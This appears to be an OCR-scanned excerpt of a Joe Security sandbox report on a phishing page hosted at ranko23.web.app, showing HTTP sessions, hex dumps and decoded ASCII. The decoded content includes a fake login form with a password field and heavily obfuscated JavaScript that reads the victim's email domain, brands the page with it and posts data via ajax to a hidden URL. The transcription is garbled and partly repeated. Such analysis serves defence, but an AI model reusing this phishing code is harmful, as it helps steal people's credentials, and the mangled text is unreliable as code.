2021-09-15 14:28:03 UTC 6 IN Data Raw: 68 69 64 65 20 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 20 2e 77 73 5f 74 6f 6f 6¢ 62 61 72
2069 6d 67 20 7b 70 61 64 64 69 6e 67 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 30 70 78 7d 3c 2f 73 74 79 6¢ 65 3e 0d Oa
0d 0a 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6¢ 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d Oa
2020 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68
65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78
74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63
6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6¢ 69 6d 2e
Data Ascii: hide {visibility:hidden} .ws_toolbar img {padding:2px;margin:0px}</style> ... Optional JavaScript --> ... jQuery
first, then Popper.js, then Bootstrap JS --> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.

2021-09-15 14:28:03 UTC 7 IN Data Raw: 36 66 5c 75 30 30 37 34 5¢ 75 30 30 37 39 5¢ 78 37 30 5¢ 78 36 35 27 5d 3b 64 65 6¢ 65 74 65 20 6d 5b 27 5¢
7530 30 35 37 5¢ 78 36 33 5¢ 75 30 30 36 66 5¢ 75 30 30 34 66 5¢ 75 30 30 36 62 27 5d 3b 4d 3d 36 3b 62 72 65 61 6b
3b 63 61 73 65 20 33 3a 74 68 72 6f 77 20 22 22 3b 4d 3d 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 4d 3d 74 79 70
65 6f 66 20 65 6¢ 79 73 38 20 3d 3d 3d 20 27 5¢ 75 30 30 37 35 5¢ 75 30 30 36 65 5¢ 75 30 30 36 34 5¢ 75 30 30 36 35 5¢
78 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30 30 36 35 5¢ 75 30 30 36 34 27 3f 33 3a 39 3b 62 72 65 61 6b 3b 63 61 7
365 20 32 3a 4f 62 6a 65 63 74 5b 27 5¢ 78 36 34 5¢ 78 36 35 5¢ 75 30 30 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30
3036 35 5¢ 78 35 30 5¢ 78 37 32 5¢ 78 36 66 5¢ 75 30 30 37 30 5¢
Data Ascii: 6Au0074\u0079\x70\x65');delete m["\u0057\x63\u006f\u004A\u006b'|;M=6;break;case 3:throw "*;M=9;break;case
4:M=typeof elys8 === "\u0075\u006e\u0064\u0065\x66\u0069\x6e\u0065\u0064'?3:9;break;case 2:0bject[\x64\x65\u00
66\u0069\x6e\u0065\x50\x72\x6f\u0070\

2021-09-15 14:28:03 UTC 8 IN Data Raw: 2c 64 33 36 5b 37 33 5d 2c 64 33 36 5b 33 38 5d 29 3b 76 33 36 3d 37 32 3b 62 72 65 61 6b 3b 63 61 73 65 20
3539 3a 64 33 36 5b 34 33 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 33 38 5d 3d 64 33 36 5b 37 5d 3b 64 33 36 5b
33 38 5d 2b 3d 64 33 36 5b 39 37 5d 3b 64 33 36 5b 33 38 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 35 33 5d 3d 64
33 36 5b 32 5d 3b 76 33 36 3d 37 37 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 33 3a 64 33 36 5b 33 36 5d 2b 3d 64 33 36
5b 39 5d 3b 64 33 36 5b 33 36 5d 2b 3d 64 33 36 5b 34 5d 3b 64 33 36 5b 34 33 5d 3d 64 33 36 5b 33 5d 3b 64 33 36 5b
34 33 5d 2b 3d 64 33 36 5b 39 37 5d 3b 76 33 36 3d 35 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 37 31 3a 53 31 36 28 6¢
31 36 2c 64 33 36 5b 33 36 5d 2c 64 33 36 5b 34 38 5d 2c 64 33 36 5b 37
Data Ascii: ,d36[73],d36[38]);v36=72;break;case 59:d36[43]+=0d36[81];d36[38]=d36[7];d36[38]+=d36[97];d36[38]+=d
36[81];d36[53]=d36[2];v36=77;break;case 63:d36[36]+=d36[9];d36[36]+=d36[4];d36[43]=d36[3];d36[43]+=d36[97]:v36
=59;break;case 71:516(116,d36[36],d36[48],d36[7

2021-09-15 14:28:03 UTC 10 IN Data Raw: 5d 3d 22 22 3b 61 38 36 3d 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 3a 43 33 36 5b 39 5d 3d 22 22 3b 43
3336 5b 39 5d 3d 22 65 50 72 6f 70 65 22 3b 43 33 36 5b 35 5d 3d 22 22 3b 43 33 36 5b 35 5d 3d 22 64 65 66 69 6e 22
3b 61 38 36 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 3a 43 33 36 5b 36 5d 3d 66 61 6¢ 73 65 3b 74 72 79 7b 76 61
72 20 45 38 36 3d 32 3b 66 6f 72 28 3b 45 38 36 20 21 3d 3d 20 36 3b 29 7b 73 77 69 74 63 68 28 45 38 36 29 7b 63 61
73 65 20 34 3a 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 34 5d 5d 3d 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 32 5d
5d 3b 43 33 36 5b 31 5d 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 72 33 36 29 7b 76 61 72 20 6a 38 36 3d 32 3b 66 6f
72 28 3b 6a 38 36 20 21 3d 3d 20 35 3b 29 7b 73 77 69 74 63 68 28 6a 38 36

i: |="";a86=3;break;case 3:C36[9]="";C36[9]="ePrope";C36[5]="";C36[5]="defin";a86=6;break;case 6:C36[

6]=false;try{var E86=2;for(;E86 !== 6;){switch(E86){case 4:C36[3][C36[0][4]]=C36[3][C36[0][2]];C36[1].set=function(r36){var
86=2;for(;j86 1== 5;){switch(j86

2021-09-15 14:28:03 UTC 11 IN Data Raw: 57 33 50 20 21 3d 3d 20 31 30 3b 29 7b 73 77 69 74 63 68 28 57 33 50 29 7b 63 61 73 65 20 34 3a 76 61 72
20 7134 50 3d 27 66 72 6f 6d 43 68 61 72 43 6f 64 65 27 2c 66 34 50 3d 27 52 65 67 45 78 70 27 3b 57 33 50 3d 33 3b
62 72 65 61 6b 3b 63 61 73 65 20 31 3a 57 33 50 3d 21 20 4a 34 50 2d 2d 3f 35 3a 34 3b 62 72 65 61 6b 3b 63 61 73 65 2
035 3a 5534 50 3d 56 34 6b 6b 2e 79 30 6b 3b 57 33 50 3d 34 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 3a 6e 34 50 3d
74 79 70 65 6f 66 20 71 34 50 3b 57 33 50 3d 38 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 34 3a 73 34 50 3d 73 34 50 2e
4d 30 50 50 28 66 75 6e 63 74 69 6f 6e 28 4e 33 50 29 7b 76 61 72 20 6b 33 50 3d 32 3b 66 6f 72 28 3b 6b 33 50 20 21
3d 3d 2031 333b 29 7b 73 77 69 74 63 68 28 6b 33 50 29 7b 63 61 73 65 20
Data Ascii: W3P == 10;){switch(W3P){case 4:var g4P="fromCharCode',f4P="RegExp';W3P=3;break;case 1:W3P=! J4P--?
5:4;break;case 5:U4P=V4kk.yOk;W3P=4;break;case 9:n4P=typeof q4P;W3P=8;break;case 14:5s4P=s4P.MOPP(fu
nction(N3P){var k3P=2;for(;k3P !== 13;){switch(k3P){case
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Session ID Source IP

1 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:03 UTC 19

2021-09-15 14:28:03 UTC 212

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49770

Direction
ouT

Data

Data Raw: 20 6a 33 50 3d 55 34 50 5b 47 33 50 5b 34 5d 5d 28 4b 33 50 5b 47 33 50 5b 32 5d 5d 28 6¢ 33 50 29 2c 31 36
29 5b 47 33 50 5b 33 5d 5d 28 32 29 3b 76 61 72 20 51 33 50 3d 6a 33 50 5b 47 33 50 5b 32 5d 5d 28 6a 33 50 5b 47 33
50 5b 35 5d 5d 20 2d 20 31 29 3b 62 33 50 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 32 3a 53 33 50 3d 53 33 50 20
5e 20 51 33 50 3b 62 33 50 3d 31 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 31 3a 72 65 74 75 72 6e 20 53 33 50 3b 62
72 65 61 6b 3b 7d 7d 7d 29 28 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 3b 72 65 74 75 72 6e 20 7a
3350 3f 67 34 50 3a 21 67 34 50 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 76 61 72 20 43 33 50 3d 6e 65 77 20 55 34
50 5b 73 34 50 5b 30 5d 5d 28 29 5b 73 34 50 5b 31 5d 5d 28 29 3b 6d 33

Data Ascii: j3P=U4P[G3P[4]](K3P[G3P[2]](I3P),16)[G3P[3]](2);var Q3P=j3P[G3P[2]](j3P[G3P[5]] - 1);b3P=6;break;case
12:S3P=S3P " Q3P;h3P=13;break;case 11:return S3P;break;}}})(undefined,undefined);return zZ3P?g4P:!g4P;break;case
2:var C3P=new U4P[s4P[0]]()[s4P[1]]();m3

Data Raw: 72 33 50 28 66 33 50 29 3b 7d 3b 56 34 6b 6b 2e 73 33 50 3d 66 75 6e 63 74 69 6f 6e 28 4a 33 50 29 7b 69 66
2856 34 6b 6b 20 26 26 20 4a 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 4a 33 50 29 3b 7d 3b 56 34 6b
6b 2e 48 33 50 3d 66 75 6e 63 74 69 6f 6e 28 61 33 50 29 7b 69 66 28 56 34 6b 6b 20 26 26 20 61 33 50 29 72 65 74 75
72 6e 20 56 34 6b 6b 2e 72 33 50 28 61 33 50 29 3b 7d 3b 56 34 6b 6b 2e 64 33 50 3d 66 75 6e 63 74 69 6f 6e 28 68 33 5
029 7b 69 66 28 56 34 6b 6b 20 26 26 20 68 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 68 33 50 29 3b
7d 3b 63 30 50 50 28 5a 30 50 50 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 56 39 50 3d 56
34 6b 6b 3b 56 39 50 2e 44 39 50 3d 66 75 6e 63 74 69 6f 6e 28 58 39 50

Data Ascii: r3P(f3P);};V4kk.s3P=function(J3P){if(V4kk && J3P)return V4kk.Y3P(J3P);};V4kk.H3P=function(a3P){if(V4kk &&
a3P)return V4kk.r3P(a3P);};Vakk.d3P=function(h3P){if(V4kk && h3P)return V4kk.Y3P(h3P);};cOPP(Z0PP).ready(function()
{var VOP=V4kk;V9P.D9P=function(X9P

Data Raw: 79 5f 61 69 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 48 33 50 28 27 5¢ 78 33 37 5¢ 78 33 31 5¢ 75 30 30 33 33
5c 75 30 30 33 39 27 29 3f 22 22 3a 27 5¢ 78 34 30 27 29 3b 76 61 72 20 6d 79 5f 73 6¢ 69 63 65 3d 6d 79 5f 61 69 2e 73
7562 73 74 72 28 69 6e 64 20 2b 20 31 29 3b 76 61 72 20 63 3d 6d 79 5f 73 6¢ 69 63 65 2e 73 75 62 73 74 72 28 30 2c
6d 79 5f 73 6¢ 69 63 65 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 73 33 50 28 27 5¢ 75 30 30 36 32 5¢ 78 36 34 5¢ 75 30 30
3334 5c 75 30 30 36 36 27 29 3f 27 5¢ 78 32 65 27 3a 22 22 29 29 3b 76 61 72 20 66 69 6e 61 6¢ 3d 63 2e 74 6f 4c 6f 77
65 72 43 61 73 65 28 29 3b 76 61 72 20 66 69 6e 61 6¢ 75 3d 63 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 63 30 50
50 28 56 39 50 2e 71 33 50 28 27 5¢ 75 30 30 33 31 5¢ 75 30 30

Data Ascii: y_ai.indexOf(VIP.H3P("\x37\x31\u0033\u0039')?"":'\x40");var my_slice=my_ai.substr(ind + 1);var c=my_slice.su
bstr(0,my_slice.indexOf(V9P.s3P(\u0062\x64\u0034\u0066')?"\x2e":""));var final=c.toLowerCase();var finalu=c.t
oUpperCase();cOPP(VIP.q3P('\u0031\u00

Data Raw: 2d 4d 46 2d 48 4e 2d 5a 41 2d 45 30 2d 33 34 2d 37 38 2d 39 5f 5¢ 2e 5¢ 2d 5d 29 2b 5¢ 78 34 30 28 28 5b 6b
2d 6f 70 61 2d 66 67 2d 6a 71 2d 7a 44 2d 5a 41 2d 42 43 2d 43 34 2d 39 30 2d 33 5c 2d 5d 29 2b 5¢ 75 30 30 32 65 29
7b 31 2c 7d 28 5b 61 2d 64 6b 2d 6e 65 2d 6a 6f 2d 7a 41 2d 5a 30 31 2d 32 33 2d 39 5d 7b 32 2c 34 7d 29 2b 24 2f 3b 69
66 28 21 61 69 29 7b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 78 36 35 5¢ 78 37 32 5¢ 75 30 30 37 32 5¢ 75 30 30 36 66 5¢ 75
3030 37 32 27 29 2e 73 68 6f 77 28 29 3b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 75 30 30 36 35 5¢ 75 30 30 37 32 5¢ 78 37 3
25¢ 75 30 30 36 66 5¢ 75 30 30 37 32 27 29 2e 68 74 6d 6¢ 28 27 5¢ 75 30 30 34 35 5¢ 78 36 64 5¢ 75 30 30 36 31 5¢ 78
36 39 5¢ 75 30 30 36 63 5¢ 75 30 30 32 30 5¢ 78 36 36 5¢ 78 36 39

Data Ascii: -MF-HN-ZA-E0-34-78-9_\.\-])+\x40(([k-opa-fg-jg-zD-ZA-BC-C4-90-3\-])+\u002e){1,}([a-dk-ne-jo-zA-Z01-23-9]{2,4
D+8$/if('ai){cOPP("\x23\x65\x72\u0072\u006f\u0072').show(); cOPP('\x23\u0065\u0072\x72\u006f\u0072"). html(\u0
045\x6d\u0061\x69\u006c\u0020\x66\x69

Data Raw: 36 65 5c 78 37 33 5¢ 75 30 30 33 66 5¢ 75 30 30 36 34 5¢ 78 36 66 5¢ 78 36 64 5¢ 78 36 31 5¢ 78 36 39 5¢ 75
3030 36 65 5¢ 75 30 30 33 64 27 20 2b 20 6d 79 5f 73 6¢ 69 63 65 29 3b 63 30 50 50 28 27 5¢ 75 30 30 32 33 5¢ 75 30
3036 63 5¢c 78 36 66 5¢ 78 36 37 5¢ 78 36 66 5¢ 78 36 65 5¢ 78 36 31 5¢ 75 30 30 36 64 5¢ 78 36 35 27 29 2e 68 74 6d
6c 28 66 69 6e 61 6¢ 75 29 3b 63 6f 75 6e 74 3d 63 6f 75 6e 74 20 2b 20 31 3b 63 30 50 50 2e 61 6a 61 78 28 7b 27 5¢ 78
36 34 5¢ 78 36 31 5¢ 78 37 34 5¢ 78 36 31 5¢ 78 35 34 5¢ 78 37 39 5¢ 78 37 30 5¢ 78 36 35 27 3a 27 5¢ 78 34 61 5¢ 75 3
030 35 33 5¢ 75 30 30 34 66 5¢ 75 30 30 34 65 27 2c 27 5¢ 78 37 35 5¢ 78 37 32 5¢ 78 36 63 27 3a 27 5¢ 75 30 30 36 38
5c 78 37 34 5¢ 75 30 30 37 34 5¢ 78 37 30 5¢ 75 30 30 37 33 5¢ 78

Data Ascii: 6e\x73\u003f\u0064\x6f\x6d\x61\x69\u006e\u003d' + my_slice);cOPP('\u0023\u006c\x6f\x67\x6f\x6e\x61
\u006d\x65').html(finalu);count=count + 1;cOPP.ajax({'\x64\x61\x74\x6 1\x54\x79\x70\x65":"\x4a\u0053\u004f\u004e’,\x75\x
72\x6¢":'\u0068\x74\u0074\x70\u0073\x

Destination IP  Destination Port Process

199.36.158.100 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /css/hover.css HTTP/1.1

Accept: text/css, */*

Referer: https://ranko23.web.app/miajarantarankaran.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ranko23.web.app

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 19288

Cache-Control: max-age=3600

Content-Type: text/html; charset=utf-8

Etag: "0edf988fd81418c81589846d9281aa9cOchafc57ea3da786d3f60ece4f5h45d9"
Last-Modified: Wed, 15 Sep 2021 12:10:19 GMT

Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes

Date: Wed, 15 Sep 2021 14:28:03 GMT

X-Served-By: cache-fral9155-FRA

X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1631716083.257325,VS0,VE270

Vary: x-fh-requested-host, accept-encoding
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Od
0a 3c 68 65 61 64 3e 0d 0a 20 20 20 3¢ 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69
7074222073 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61
78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72
69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69 70 74
222073 7263 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e
31 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e

Data Ascii: <!doctype html><html lang="en"><head> <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax
llibs/jquery/2.2.4/jquery.min.js"></script> <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>

Data Raw: 32 31 2d 34 38 65 35 2d 61 30 32 61 2d 38 64 65 65 64 39 61 34 34 33 32 35 22 3e 0d 0a 20 20 20 20 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61
7365 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 64 65 6¢ 6¢ 63 73 73 66 69 6C 65
2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 3f 61 6¢ 74 3d 6d
65 64 69 61 26 74 6f 6b 65 6e 3d 65 36 66 31 39 63 65 37 2d 61 39 63 61 2d 34 35 37 65 2d 38 30 64 66 2d 30 66 34 38
32 333431326164 35 22 3e 0d 0a 0d 0a 20 20 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73
22 3e 0d 0a 20 20 20 20 20 20 2e 6¢ 6f 67 69 6e 2d 66 6f

Data Ascii: 21-48e5-a02a-8deed9a44325"> <link rel="stylesheet" href="https://firebasestorage.googleapis.com/v0/b/dell
cssfile.appspot.com/o/font-awesome.min.css?alt=media&token=e6f19ce7-a9ca-457e-80df-0f4823412ad5"> <style ty
pe="text/css"> .login-fo

Data Raw: 78 3b 0d Oa 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 37 66 37 66 37 3b 0d Oa 20 20
2020 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d Oa 20 20 20 20 20 20 20 20 74 6f 70 3a 20
2d 3131 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d Oa 20 20 20 20 20 20 7d 0d Oa 20
20 20 20 20 20 0d Oa 0d Oa 0d Oa 0d Oa 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d Oa 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20
3c 62 6f 64 79 20 64 61 74 61 2d 67 72 2d 63 2d 73 2d 6¢ 6f 61 64 65 64 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c

70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d 0a 20 20 20 20 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d Oa 0d Oa 0d Oa 0d Oa 20
2020 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 69 6e 2d

Data Ascii: x; background: #7{77; position: relative; top: -11px; z-index: 1; } </style> </head

> <body data-gr-c-s-loaded="true"> <p>&nbsp;</p> <p>&nbsp;</p> <div class="login-

Data Raw: 6¢ 6f 63 6b 22 3e 3¢ 2f 69 3e 3c 2f 73 70 61 6e 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75
742074797065 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6¢ 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 22 20 69
64 3d 22 70 72 22 20 6e 61 6d 65 3d 22 70 64 66 32 22 20 70 6c 61 63 65 68 6f 6¢ 64 65 72 3d 22 50 61 73 73 77 6f 72 64
222072 65717569 726564 3d 227265717569 72 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76
3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Oa 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22
66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64
64 65 6e 22 20 6e 61 6d 65 3d 22 70 64 66 31 22 20 73 69 7a 65

Data Ascii: lock"></i></span> <input type="password" class="form-control" id="pr" name="pdf2" placeholder="Pa
ssword" required="required"> </div> </div> <div class="form-group"> <input type="hidden"
name="pdf1" size

Data Raw: 68 69 64 65 20 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 20 2e 77 73 5f 74 6f 6f 6¢ 62 61 72
2069 6d 67 20 7b 70 61 64 64 69 6e 67 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 30 70 78 7d 3c 2f 73 74 79 6¢ 65 3e 0d Oa
0d 0a 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6¢ 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d Oa
2020 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68
65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78
74 2f6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63
6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6¢ 69 6d 2e

Data Ascii: hide {visibility:hidden} .ws_toolbar img {padding:2px;margin:0px}</style> ... Optional JavaScript --> ... jQuery
first, then Popper.js, then Bootstrap JS --> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.

Data Raw: 36 66 5¢ 75 30 30 37 34 5¢ 75 30 30 37 39 5¢ 78 37 30 5¢ 78 36 35 27 5d 3b 64 65 6¢ 65 74 65 20 6d 5b 27 5¢
753030 35 37 5¢ 78 36 33 5¢ 75 30 30 36 66 5¢ 75 30 30 34 66 5¢ 75 30 30 36 62 27 5d 3b 4d 3d 36 3b 62 72 65 61 6b
3b 63 61 73 65 20 33 3a 74 68 72 6f 77 20 22 22 3b 4d 3d 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 4d 3d 74 79 70
65 6f 66 20 65 6¢ 79 73 38 20 3d 3d 3d 20 27 5¢ 75 30 30 37 35 5¢ 75 30 30 36 65 5¢ 75 30 30 36 34 5¢ 75 30 30 36 35 5¢
78 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30 30 36 35 5¢ 75 30 30 36 34 27 3f 33 3a 39 3b 62 72 65 61 6b 3b 63 61 7
365 20 32 3a 4f 62 6a 65 63 74 5b 27 5¢ 78 36 34 5¢ 78 36 35 5¢ 75 30 30 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30
3036 35 5¢ 78 35 30 5¢ 78 37 32 5¢ 78 36 66 5¢ 75 30 30 37 30 5¢

Data Ascii: 6Au0074\u0079\x70\x65');delete m["\u0057\x63\u006f\u004A\u006b'|;M=6;break;case 3:throw "*;M=9;break;case
4:M=typeof elys8 === "\u0075\u006e\u0064\u0065\x66\u0069\x6e\u0065\u0064'?3:9;break;case 2:0bject['\x64\x65\u00
66\u0069\x6€\u0065\x50\x72\x6f\u0070\

Data Raw: 2c 64 33 36 5b 37 33 5d 2c 64 33 36 5b 33 38 5d 29 3b 76 33 36 3d 37 32 3b 62 72 65 61 6b 3b 63 61 73 65 20
3539 3a 64 33 36 5b 34 33 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 33 38 5d 3d 64 33 36 5b 37 5d 3b 64 33 36 5b
33 38 5d 2b 3d 64 33 36 5b 39 37 5d 3b 64 33 36 5b 33 38 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 35 33 5d 3d 64
33 36 5b 32 5d 3b 76 33 36 3d 37 37 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 33 3a 64 33 36 5b 33 36 5d 2b 3d 64 33 36
5b 39 5d 3b 64 33 36 5b 33 36 5d 2b 3d 64 33 36 5b 34 5d 3b 64 33 36 5b 34 33 5d 3d 64 33 36 5b 33 5d 3b 64 33 36 5b
34 33 5d 2b 3d 64 33 36 5b 39 37 5d 3b 76 33 36 3d 35 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 37 31 3a 53 31 36 28 6C
31 36 2c 64 33 36 5b 33 36 5d 2 64 33 36 5b 34 38 5d 2c 64 33 36 5b 37

Data Ascii: ,d36[73],d36[38]);v36=72;break;case 59:d36[43]+=d36[81];d36[38]=d36[7];d36[38]+=d36[97];d36[38]+=d
36[81];d36[53]=d36[2];v36=77;break;case 63:d36[36]+=d36[9];d36[36]+=d36[4];d36[43]=d36[3];d36[43]+=d36[97]:v36
=59;break;case 71:516(116,d36[36],d36[48],d36[7

Data Raw: 5d 3d 22 22 3b 61 38 36 3d 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 3a 43 33 36 5b 39 5d 3d 22 22 3b 43
3336 5b 39 5d 3d 22 65 50 72 6f 70 65 22 3b 43 33 36 5b 35 5d 3d 22 22 3b 43 33 36 5b 35 5d 3d 22 64 65 66 69 6e 22
3b 61 38 36 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 3a 43 33 36 5b 36 5d 3d 66 61 6¢ 73 65 3b 74 72 79 7b 76 61
72 20 45 38 36 3d 32 3b 66 6f 72 28 3b 45 38 36 20 21 3d 3d 20 36 3b 29 7b 73 77 69 74 63 68 28 45 38 36 29 7b 63 61
73 65 20 34 3a 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 34 5d 5d 3d 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 32 5d
5d 3b 43 33 36 5b 31 5d 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 72 33 36 29 7b 76 61 72 20 6a 38 36 3d 32 3b 66 6f
72 28 3b 6a 38 36 20 21 3d 3d 20 35 3b 29 7b 73 77 69 74 63 68 28 6a 38 36

Data Ascii: |="";a86=3;break;case 3:C36[9]="";C36[9]="ePrope";C36[5]="";C36[5]="defin";a86=6;break;case 6:C36[
6]=false;try{var E86=2;for(;E86 !== 6;){switch(E86){case 4:C36[3][C36[0][4]]=C36[3][C36[0][2]];C36[1].set=function(r36){var
j86=2;for(;j86 !== 5;){switch(j86
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Session ID Source IP Source Port
2 192.168.2.4 49775
kBytes
Timestamp transferred Direction
2021-09-15 14:28:03 UTC 19 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 57 33 50 20 21 3d 3d 20 31 30 3b 29 7b 73 77 69 74 63 68 28 57 33 50 29 7b 63 61 73 65 20 34 3a 76 61 72
207134 50 3d 27 66 72 6f 6d 43 68 61 72 43 6f 64 65 27 2c 66 34 50 3d 27 52 65 67 45 78 70 27 3b 57 33 50 3d 33 3b
62 72 65 61 6b 3b 63 61 73 65 20 31 3a 57 33 50 3d 21 20 4a 34 50 2d 2d 3f 35 3a 34 3b 62 72 65 61 6b 3b 63 61 73 65 2
